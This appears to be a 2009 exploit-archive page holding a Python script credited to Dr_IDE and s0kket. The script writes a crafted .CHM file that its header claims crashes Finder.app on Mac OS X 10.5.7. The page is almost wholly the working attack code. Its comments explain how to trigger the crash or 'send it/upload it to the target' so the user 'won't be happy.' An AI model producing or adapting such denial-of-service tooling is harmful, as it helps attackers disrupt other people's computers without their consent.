Home / os / win10

macosx-dos.txt

Posted on 07 August 2009

#!/usr/bin/env python import os; print """ ############################################################################### # # # Mac OS X 10.5.7 Local Finder.app DoS (.CHM) # # By: Dr_IDE and s0kket # # Greets to offsec # # Tested on OS X 10.5.7 (This will most likely kill more than this version. # # # ############################################################################### """; fname = (raw_input(" [*] Enter the filename you would like to create:")); print " [*] Creating Evil .CHM file..."; try: f1 = open(fname + '.chm','w'); f1.write("################################################# "); f1.write("# # "); f1.write("# OSX 10.5.7(X?) Local Finder.app DoS (.CHM) # "); f1.write("# By: Dr_IDE and s0kket. # "); f1.write("# Greets to offsec. # "); f1.write("# It really shouldn't be this easy... # "); f1.write("# # "); f1.write("################################################# "); f1.close(); print " [*] Payload has been created."; print " [*] If the user opens the payload with Finder they won't be happy."; # # There are two options for this attack: # 1.) You can choose to automagically open the chm finder. # As long as a VMware/Parallels isn't installed then finder is # the default app for this extension. # # 2.) We will just create file and send it/upload it to the target. # # Note: Only uncomment one of these lines at a time. # # This will mess up the system pretty bad, only way out is # reboot or force quit of Finder.app #x = os.system('open ' + fname + '.chm'); # This will create the offending .chm file and quit. x = raw_input(" [*] Press Enter to Quit."); except: print "Error."

 

TOP